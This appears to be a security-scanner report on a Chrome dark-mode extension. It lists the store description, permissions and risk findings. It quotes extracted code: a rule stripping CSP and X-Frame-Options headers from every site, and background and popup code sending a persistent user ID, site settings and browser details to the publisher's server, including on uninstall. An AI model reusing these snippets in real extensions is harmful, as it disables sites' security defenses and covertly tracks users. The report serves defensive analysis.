Easy Dark Mode

Easy Dark Mode

ID: ibbkokjdcfjakihkpihlffljabiepdag

Supported Languages

🇺🇸English
🇪🇸Spanish

Extension Info & Metadata

Status
Active
Version
1.3.4
Size
0.93 MB
Rating
4.0/5
Reviews
4
Users
3,000
Type
Extension
Updated
Jan 30, 2026
Category
Functionality & ui
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
weaverstar048View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
1
Obsolete
0
Listed
0
Unlisted
1
Total Users
3,000
Screenshot 1

Enable dark mode on any website with one easy click

Easy Dark Mode - Convenience and Eye Protection for Your Workflow. Looking for a simple way to activate Google Doc Dark Mode and reduce eye strain while working? ⭢ Easy Dark Mode is the perfect solution! This handy dark mode extension allows you to easily switch to a darker background in your browser, making it ideal for working in Google Docs and other online tools. ✎ Whether you're writing, editing, or just browsing, switching to dark mode for Chrome provides a more comfortable and relaxing experience. ◐ Why Use Dark Mode Chrome? ✓ Reduce Eye Strain: Prolonged exposure to bright screens can cause discomfort. By using Chrome dark mode, you’ll experience reduced glare, making it easier on your eyes. ✓ Focus Better at Night: Activate night mode for Chrome and enjoy a softer, dark background that’s ideal for low-light environments. It’s perfect for late-night work sessions or reading. ✓ Stay Productive: By making your browsing experience more comfortable, dark mode for Chrome helps you stay focused and productive for longer periods without distractions. How to Turn On Chrome Dark Mode? → Using Easy Dark Mode is simple. Install the extension, and with just one click, you can switch to Google Doc Dark Mode or activate night mode for Chrome in any webpage. No more bright, blinding screens—just smooth, dark backgrounds that enhance your overall user experience. ✿ With Easy Dark Mode, you have the flexibility to quickly toggle between light and dark themes, making it a must-have tool for anyone who spends long hours online. Try it today and experience the benefits of dark mode Chrome firsthand!

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

The extension uses declarativeNetRequest to strip `content-security-policy`, `content-security-policy-report-only`, and `x-frame-options` response headers from every page the user visits (urlFilter: "*", all frames). Removing CSP disables the primary browser defense against XSS injection on every site, and removing X-Frame-Options enables clickjacking attacks. A dark mode extension has no legitimate reason to remove these security headers globally.

rules.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "header": "content-security-policy-report-only",          "operation": "remove"        },        {          "header": "content-security-policy",          "operation": "remove"        },        {          "header": "x-frame-options",          "operation": "remove"        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "main_frame",        "sub_frame"      ]    }  }]

On every startup and every 4-hour refresh, the background service worker POSTs the user's persistent UUID (`contextRef`/userId), their full list of per-site custom domain overrides (`customMode`), and consent flag to `https://easy-dark-mode.online/api/themeConfigData`. In return it receives and stores `darkModeFilters` and `suggestColorMode` (recommend) from the remote server. This is both a data exfiltration channel (sending browsing-context data to a third-party server) and a remote configuration channel: the operator can push arbitrary dark mode filter rules and per-domain color-mode recommendations that the extension then applies to all pages.

script/background.js (Line 166)
return e = r.userId, o = r.customDomains, a = void 0 ===  o ? [] : o, c = r.agreement, u = void 0 !== c && c, (i =    new FormData)  .append("contextRef", e), i.append("customMode", JSON    .stringify(a)), i.append("agreement", u), n.n = 1,  fetch(    "https://easy-dark-mode.online/api/themeConfigData", {      method: "POST",      body: i    });case 1:  if ((s = n.v)    .ok) {    n.n = 2;    break  }return n.a(2, "Failed");case 2:  return n.n = 3, s.json();case 3:  return f = n.v, l = f.recommend, p = f.darkModeFilters, n    .n = 4, chrome.storage.local.set({      suggestColorMode: l,      darkModeFilters: p    }, (function() {}));

On install the extension registers an uninstall callback URL that includes the user's persistent UUID (`userId`) in the path. When the extension is removed, Chrome silently hits this URL, notifying the remote server exactly which tracked user uninstalled the extension. This is covert persistent-identifier tracking with no disclosure in the privacy UI shown to the user.

script/background.js (Line 248)
case 0:  return n.n = 1, chrome.storage.local.get("userId", (function(n) {    var t = n.userId;    chrome.runtime.setUninstallURL("https://easy-dark-mode.online/api/uninstall/" +      t)  }));

The GDPR consent banner injected into every page explicitly admits collecting page URLs, referrer headers, timestamps, page titles, and user agent strings. This constitutes comprehensive browsing-history tracking across all websites the user visits. Combined with the persistent userId sent to the server (background.js), this creates a per-user browsing profile. The banner is shown only once (`bannerConsentShown` set immediately before it is shown), and the "Maybe Later" button still sets `agreement: false` in storage which is sent to the server on every subsequent config refresh.

script/content.js (Line 819)
n.innerHTML =  '\n            <header class="banner-header">\n                ...<p class="banner-title">\n                    Dark Mode - analytics consent\n                </p>\n            </header>\n            <main class="banner-main">\n                <p class="banner-text">\n                    We collect only technical info (like page URLs, referer, timestamps, page title, user agent, random ID) - never personal data.\n                </p>\n                <p class="banner-text">\n                    This is safe, private and helps us improve performance, fix issues faster, and build better features.\n                </p>\n            </main>

The report submission function collects and transmits to the remote server: the user's persistent UUID (uId), current page host (pageLocation), full browser user-agent string, install date, OS color-scheme preference, global and per-site dark mode settings, and the user's free-text message. This report bundles more information than necessary for debugging and ties the UUID to detailed browser fingerprint data and browsing context on the remote server.

popup/popup.js (Line 131)
const r = s.find((e => e.host === o)),  l = {    eId: chrome.runtime.id,    uId: t,    pageLocation: o,    userAgent: navigator.userAgent,    installDate: new Date(a),    systemTheme: window.matchMedia("(prefers-color-scheme: dark)")      .matches ? "dark" : "light",    globalSetting: n ? "on" : "off",    customSetting: r ? r.value : "default",    dmNotWork: e.target[0].checked,    dmBreakeSite: e.target[1].checked,    message: e.target[3].value  };...await fetch("https://easy-dark-mode.online/api/report", {  method: "POST",  headers: {    "Content-Type": "application/json"  },  body: JSON.stringify(l)})

The content script dynamically injects a `<link rel="stylesheet">` tag pointing to `https://fonts.cdnfonts.com/css/helvetica-neue-5` into the DOM of every page where the hint widget is shown. This causes the user's browser to make a request to a third-party CDN carrying the full URL of the visited page as a Referer header, effectively leaking browsing activity to an additional external party beyond the extension's own server.

script/content.js (Line 313)
(e = document.createElement("link")).href = "https://fonts.cdnfonts.com/css/helvetica-neue-5", e.rel = "stylesheet",  document.head.appendChild(e),

By severity

Critical2
High6
Medium2
Low0

Versions scanned

Showing 2 of 5 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.3.46
1.3.24

Files with findings

5 distinct paths — top paths by unique finding count:

  • script/background.js4
  • rules.json2
  • script/content.js2
  • manifest.json1
  • popup/popup.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
script/background.js (line 166)On every startup and every 4-hour refresh, the background service worker POSTs the user's persistent UUID (`contextRef`/userId), their full list of per-site custom domain overrides (`customMode`), and consent flag to …
2Network Interception
critical
rules.json (line 1)The extension uses declarativeNetRequest to strip `content-security-policy`, `content-security-policy-report-only`, and `x-frame-options` response headers from every page the user visits (urlFilter: "*", all frames). …
3Network Interception
high
rules.json (line 1)The declarativeNetRequest rule unconditionally removes `content-security-policy` and `x-frame-options` from every website the user visits (main_frame and sub_frame). Stripping CSP destroys XSS protection site-wide; st…
4Other
high
manifest.json (line 17)The bundled manifest (v1.3.2) declares only `storage` and `declarativeNetRequest`, omitting `tabs` and `scripting` that appear in the live CWS published manifest. The popup code in `popup/popup.js` actively calls `chr…
5Tracking
high
script/background.js (line 248)On install the extension registers an uninstall callback URL that includes the user's persistent UUID (`userId`) in the path. When the extension is removed, Chrome silently hits this URL, notifying the remote server e…
6Tracking
high
script/background.js (line 163)On install and every ~4 hours (triggered by `DM_UPDATE` message in content.js when `Date.now() - lastUpdate > 144e5`), the background script POSTs a persistent UUID (`userId`) and the user's full custom domain list (`…
7Unauthorized Data Collection
high
script/content.js (line 819)The GDPR consent banner injected into every page explicitly admits collecting page URLs, referrer headers, timestamps, page titles, and user agent strings. This constitutes comprehensive browsing-history tracking acro…
8Unauthorized Data Collection
high
popup/popup.js (line 131)The report submission function collects and transmits to the remote server: the user's persistent UUID (uId), current page host (pageLocation), full browser user-agent string, install date, OS color-scheme preference,…
9Tracking
medium
script/content.js (line 313)The content script dynamically injects a `<link rel="stylesheet">` tag pointing to `https://fonts.cdnfonts.com/css/helvetica-neue-5` into the DOM of every page where the hint widget is shown. This causes the user's br…
10Tracking
medium
script/background.js (line 247)On each startup the background registers an uninstall URL that encodes the persistent `userId` in the path. This means even a user who removes the extension silently pings the publisher's server with their tracking UU…
URLs
15
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

easy-dark-mode.online/api/reporthttps://easy-dark-mode.online/api/report
fonts.cdnfonts.com/css/helvetica-neue-5https://fonts.cdnfonts.com/css/helvetica-neue-5
www.w3.org/2000/svghttp://www.w3.org/2000/svg
s0.wp.com/latex.php/https://s0.wp.com/latex.php\
www.youtube.com/embed/https://www.youtube.com/embed\
a.gfx.ms/rte_metro2.png/https://a.gfx.ms/rte_metro2.png\
wikimedia.org/api/rest_v1/media/math/render/svg/https://wikimedia.org/api/rest_v1/media/math/render/svg\
musescore.com/static/musescore/scoredata//https://musescore.com/static/musescore/scoredata/\
s3.ultimate-guitar.com/musescore.scoredata//https://s3.ultimate-guitar.com/musescore.scoredata/\
easy-dark-mode.online/api/themeConfigDatahttps://easy-dark-mode.online/api/themeConfigData
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

8.8.8.8
IPv4
-
Showing 1 to 5 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.